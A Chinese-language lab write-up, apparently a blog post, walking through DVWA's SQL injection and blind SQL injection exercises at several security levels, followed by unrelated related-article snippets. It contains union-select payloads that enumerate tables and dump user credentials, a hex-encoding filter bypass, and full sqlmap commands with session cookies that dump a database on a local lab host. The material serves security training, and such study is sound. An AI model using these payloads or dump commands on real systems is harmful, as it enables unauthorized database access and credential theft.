SQL Injection

SQL Injection

就是通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或页面请求的查询字符串递交到服务器,达到欺骗服务器,让服务器执行这些恶意的sql命令,从而让攻击者,可以绕过一些机制,达到直接访问数据库的一种攻击手段。

SQL注入分类

数字型     
字符型    
报错注入   
Boollean注入      
时间注入

SQL注入思路

(1).判断是否存在注入,注入是字符型还是数字型

(2).猜解SQL查询语句中的字段数 order by

(3).确定回显位置    union select 

(4).获取当前数据库

(5).获取数据库中的表

(6).获取表中的字段名

(7).得到数据

SQL注入绕过方法

(1)注释符号绕过         (2)大小写绕过         (3)内联注释绕过

(4)特殊编码绕过         (5)空格过滤绕过       (6)过滤or and xor not 绕过

知识点

version()              数据库版本
database()             数据库名字
user()                 数据库用户

在mysql中存在一个自带的数据库,information_schema,他是一个存储记录所有数据库名,表名,列名的数据库,通过查询他获取指定数据库下面的表名和列名信息

information_schema.table  记录所有表名信息的表
information_schema.column 记录所有列名信息的表
table_name                表名
columns_name              列名

low级别

查看源码

在这里插入图片描述

(1)判断注入类型,

在这里插入图片描述

输入1后,结果如下

在这里插入图片描述

输入2后,结果如下

在这里插入图片描述

输入1’后报错

image-20230805095510006

猜出到是字符型注入,我们继续输入1’ and ‘1’ ='1

image-20230805095528458

(2)判断字段数 order by

输入1’ order by 1#

在这里插入图片描述

输入1’ order by 2# 也没有报错

在这里插入图片描述

输入1’ order by 3#时报错了,说明字段只有2列

image-20230805095654016

**(3)判断回显位置 **

1' union select 1,2#

在这里插入图片描述

可以知道回显位置 在这二个地方

(4)判断数据库

1' union select 1,database()#

在这里插入图片描述

(5)获取表名

1' union select 1,group_concat(table_name) from  information_schema.tables where table_schema=database()#

在这里插入图片描述

**(6)获取字段名 **

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

(7)获取数据

1' union select user,password from users # 

在这里插入图片描述

medium级别

(1)判断注入类型 我们可以看到无法输入数字,所以我们进行抓包在bp中进行SQL注入

在这里插入图片描述

输入id=1’ and ‘1’='1看见报错了

在这里插入图片描述

输入id=1 and 1=1没有报错

在这里插入图片描述

所以注入类型为数字类型

(2)判断列数

image-20230805101110899

在这里插入图片描述
在这里插入图片描述

所以列数为2列

(3)判断回显位置

在这里插入图片描述

回显位置为2

(4)判断数据库

在这里插入图片描述

(5)判断表名

1  union select 1,group_concat(table_name) from  information_schema.tables where table_schema=database()#

在这里插入图片描述

(6)判断列名

我们输入users之后,发现没有如何反应

通过源代码我们可以知道,发现它对单引号进行了转义,我们采用16进制绕过,得知users的十六进制为 0x75736572
在这里插入图片描述

1  union select 1,group_concat(column_name) from information_schema.columns where table_schema=0x75736572#

在这里插入图片描述

(7)获取数据

id=1 union select user,password from users#

在这里插入图片描述

high级别

(1)判断注入类型

输入1’ and ‘1’=2’
在这里插入图片描述

判定是字符型注入

(2)判断字段数

1’ order by 1#

image-20230805102125146

1’ order by 2#

在这里插入图片描述

在输入 1’ order by 3# 时报错

在这里插入图片描述

(3)判断回显位置

1' union select 1,2#

在这里插入图片描述

(4) 获取数据库

1' union select 1,database()#

在这里插入图片描述

(5)获取表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

在这里插入图片描述

(6)获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

在这里插入图片描述

(7)获取数据

1' union select user,password from users#

在这里插入图片描述

报错解决

sql注入联合查询时返回报错信息 “Illegal mix of collations for operation ‘UNION’ ”

出现这个问题的原因是因为union字符规则不一致导致


解决:

进入数据库管理后台

在这里插入图片描述

image-20230729134351278

SQL Injection(Blind)

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。

Sqlmap采用了以下5种独特的SQL注入技术

1、基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
2、基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
4、联合查询注入,在可以使用Union的情况下注入
5、堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

基本步骤

查看sqlmap相关参数以及用法,命令格式为:sqlmap -h

找到一个可利用的网址,判断网站数据库类型,命令格式为:sqlmap -u

确定数据库类型为mysql后,查看存在的数据库,命令格式为:sqlmap -u 目标网址–dbs

查看数据库中存在的表,命令格式为:sqlmap -u 目标网址–tables -D 数据库名

获取表中的字段,命令格式为:sqlmap -u 目标网址– columns -T 表名 -D 数据库名

猜解出字段,查看表里的存储内容,命令格式为:sqlmap -u 目标网址– dump -C 字段名称 -T 表名 -D 数据库名
sqlmap需要我们输入参数,其中最重要的参数是SQL注入的目标地址。首先要判断测试的目标地址是否需要登录,如果需要登录,则将登陆的Cookie作为参数传递给sqlmap。
    python sqlmap.py -u “目标地址” --cookie=“cookie值” --batch
    
–batch用来指明自动化操作,否则每一个步骤都需要确认;
–current-bd查看当前数据库名称
-D DB 指定要枚举的 DBMS 数据库
-T TBL 指定要枚举的 DBMS 数据表
-C COL 指定要枚举的 DBMS 数据列
-X EXCLUDECOL 指定要排除的 DBMS 数据列
-U USER 指定枚举的 DBMS 用户

LOW级别

浏览器抓包

在这里插入图片描述

也可以用bp截取cookie信息

在这里插入图片描述

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=8fkivqb2c1oaqmugqcka4mkgma"

在这里插入图片描述

开始暴库

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s"  --dbs --batch

在这里插入图片描述

暴表名

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s" -D 'dvwa'  --tables --batch


# -D 要爆破的数据库名
# --tables 暴表名

在这里插入图片描述

暴字段

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=8fkivqb2c1oaqmugqcka4mkgma" -D dvwa -T users --columns --batch

# -D 要爆破的数据库名
# -T 要爆破的表名
# --columns 暴字段名

在这里插入图片描述

获取用户和密码

sqlmap -u "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=14e25onisogeuh3n3mlfkegd9s" -D 'dvwa' -T 'users' -C 'user,password' --dump 

#  -C   'user,password'   要爆破的字段
# --dump 导出数据库 

在这里插入图片描述

Medium级别

bp抓包,发现是post请求携带参数提交的数据,需要使用 --data 参数把数据引入过来

在这里插入图片描述

爆破数据库

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" --dbs --batch

在这里插入图片描述

爆破数据库的表

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa --tables --batch

在这里插入图片描述

爆破表的字段

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa -T users --columns --batch

在这里插入图片描述

获取用户和密码

sqlmap "http://192.168.80.145/dvwa/vulnerabilities/sqli_blind/#" --cookie "security=medium; PHPSESSID=ejqjhrcjdf2em40du4bru9l96n" --data "id=1&Submit=Submit" -D dvwa -T users -C user,password  --dump

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/82247.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

一种新型的4H-SiC超结共模场效应晶体管(UMOSFET),具有异质结二极管,以提高反向恢复特性

标题:A novel 4H-SiC super junction UMOSFET with heterojunction diode for enhanced reverse recovery characteristics 摘要 摘要—本文提出并通过数值模拟研究了一种新型的碳化硅(SiC)超结共模场效应晶体管(UMOSFET&#xf…

利用POM完成脚本分离实现企业级自动化(POM设计模式+页面的框架封装+测试报告截图)

利用POM完成脚本分离实现企业级自动化(POM设计模式页面的框架封装测试报告截图) 项目-测试-手工测试 项目-测试-手工测试 1.了解需求; 2.编写测试用例(开始)——功能测试组会去做的事情 3.执行测试用例——发送测试报…

Kotlin 使用 View Binding

解决的问题: 《第一行代码——Android》第三版 郭霖 P277 视图绑定的问题 描述: kotlin-android-extensions 插件已经弃用 butter knife 已经弃用 解决办法 推荐使用 View Binding 来代替 findViewById 使用方法 1、配置 build.gradle 2、在act…

服务器数据恢复-HP EVA存储常见故障的数据恢复流程

EVA存储原理: EVA系列存储是以虚拟化存储为实现目的的中高端存储设备,内部的结构组成完全不同于其他的存储设备,RAID在EVA内部称之为VRAID。 EVA会在每个物理磁盘(PV)的0扇区写入签名,签名后PV会被分配到不…

协程框架NtyCo的实现

一、为什么需要协程&#xff1f; 讨论协程之前&#xff0c;我们需要先了解同步和异步。以epoll多路复用器为例子&#xff0c;其主循环框架如下&#xff1a; while (1){int nready epoll_wait(epfd, events, EVENT_SIZE, -1);int i0;for (i0; i<nready; i){int sockfd ev…

Maven高级

目录 一、分模块开发与设计 1. 分模块开发的意义 2. 分模块开发&#xff08;模块拆分&#xff09; &#xff08;1&#xff09;创建Maven模块 &#xff08;2&#xff09;书写模块代码 &#xff08;3&#xff09;通过maven指令安装模块到本地仓库&#xff08;install指令&…

[JavaWeb]【四】web后端开发-SpringBootWeb入门

目录 一 Spring 二 SpringBootWeb入门 2.1 入门需求 2.2 分析 2.3 开始创建SpringBootWeb 2.4 创建类实现需求 2.5 启动程序 2.6 访问 三 HTTP协议 3.1 HTTP-概述 3.2 HTTP-请求协议 3.3 HTTP-响应协议 3.3.1 响应状态码 && 响应类型 3.4 HTTP-协议解析 前言…

孤注一掷——基于文心Ernie-3.0大模型的影评情感分析

孤注一掷——基于文心Ernie-3.0大模型的影评情感分析 文章目录 孤注一掷——基于文心Ernie-3.0大模型的影评情感分析写在前面一、数据直观可视化1.1 各评价所占人数1.2 词云可视化 二、数据处理2.1 清洗数据2.2 划分数据集2.3 加载数据2.4 展示数据 三、RNIE 3.0文心大模型3.1 …

前端基础(Vue的模块化开发)

目录 前言 响应式基础 ref reactive 学习成果展示 Vue项目搭建 总结 前言 前面学习了前端HMTL、CSS样式、JavaScript以及Vue框架的简单适用&#xff0c;接下来运用前面的基础继续学习Vue&#xff0c;运用前端模块化编程的思想。 响应式基础 ref reactive 关于ref和react…

Redis中的分布式锁及其延生的问题

前言 本文将着重介绍Redis中的分布式锁及其与出现的死锁和锁误删问题 什么是分布式锁 首先问题就是什么是分布式锁&#xff0c;分布式锁就是分布式系统中实现并发控制的一种锁机制&#xff0c;它可以保证多个节点在同一个时间只有有一个能成功竞争到系统资源&#xff08;共享…

08.异常处理与异常Hook(软件断点Hook,硬件断点Hook)

文章目录 异常处理异常Hook&#xff1a;VEH软件断点HOOKVEH硬件断点HOOK 异常处理 1.结构化异常SEH #include <iostream>int main() {goto Exit;__try {//受保护节int a 0;int b 0;int c a / b;std::cout << "触发异常" << std::endl;}/*EXCE…

【JVM】垃圾回收算法

目录 一、判断对象已“死” 1.1、引用计数算法 1.2、可达性分析算法 1.3、引用的概念 二、垃圾收集算法理论 2.1、分代收集理论 三、垃圾收集算法 3.1、标记--清除算法 3.2、标记--复制算法 3.3、标记--整理算法 一、判断对象已“死” 在堆里面存放着Java世界中几乎所…

ATF(TF-A)安全通告 TFV-8 (CVE-2018-19440)

安全之安全(security)博客目录导读 ATF(TF-A)安全通告汇总 目录 一、ATF(TF-A)安全通告 TFV-8 (CVE-2018-19440) 二、CVE-2018-19440 一、ATF(TF-A)安全通告 TFV-8 (CVE-2018-19440) Title 不保存x0~x3寄存器可能会将信息从一个非安全世界的SMC client泄漏到另一个 CVE ID …

【电子通识】什么是异常分析中的A-B-A方法

工作有了一定的经验之后&#xff0c;在做问题分析的时候&#xff0c;经常会听到别人说把这个部品&#xff08;芯片/模块&#xff09;拿去ABA一下&#xff0c;看看跟谁走。那么对于新人来说是否就会问一个问题&#xff1a;什么是ABA呢&#xff1f; A-B-A 交换是一种简单直接的交…

Nvidia Jetson 编解码开发(1)介绍

前言 由于项目需要&#xff0c;需要开发Jetson平台的硬件编解码&#xff1b; 优化CPU带宽&#xff0c;后续主要以介绍硬件编解码为主 1.Jetson各平台编解码性能说明 如下是拿了Jetson nano/tx2/Xavier等几个平台做对比&#xff1b; 这里说明的编解码性能主要是对硬件来说的…

CefSharp自定义缓存实现

提高页面加载加速&#xff1a;CefSharp缓存可以缓存已经加载过的页面和资源&#xff0c;当用户再次访问相同的页面时&#xff0c;可以直接从缓存中加载&#xff0c;而不需要重新下载和解析页面和资源&#xff0c;从而加快页面加载速度。减少网络流量&#xff1a;使用缓存可以减…

使用chatGPT-4 畅聊量子物理学(三)

集合了人类智慧的照片&#xff0c;来自 1927 年举行的第五届索尔维国际会议。 Omer 什么是“物理系统在被测量之前不具有确定的属性。量子力学只能预测给定测量的可能结果的概率分布" ChatGPT 这句话描述了量子力学中的一种基本原则&#xff0c;即“物理系统在被测量之前…

使用Dockerfile部署java项目

1、移动java包到创建的目录下 2、编写Dockerfile文件 在同一目录下使用如下命令创建文件 touch Dockerfile 文件内容如下&#xff1a; #依赖的父镜像 FROM java:8 #作者 MAINTAINER maxurui #jar包添加到镜像中 ADD springboot3-0.0.1-SNAPSHOT.jar springboot3-0.0.1-SNAPSHO…

外贸邮箱签名怎么写?改版提升点击率的关键技巧揭秘!

外贸业务常用的一种营销工具就是电子邮件&#xff0c;而电子邮件的签名作为邮件信任度和品牌价值的体现&#xff0c;同样也是非常重要的。那么如何写一份优秀的外贸邮箱签名呢&#xff1f; 下面是几点建议。 第一&#xff0c;突出品牌形象。在签名中加入公司标志或相关图片可以…

Redis专题-秒杀

Redis专题-并发/秒杀 开局一张图&#xff0c;内容全靠“编”。 昨天晚上在群友里看到有人在讨论库存并发的问题&#xff0c;看到这里我就决定写一篇关于redis秒杀的文章。 1、理论部分 我们看看一般我们库存是怎么出问题的 其实redis提供了两种解决方案&#xff1a;加锁和原子操…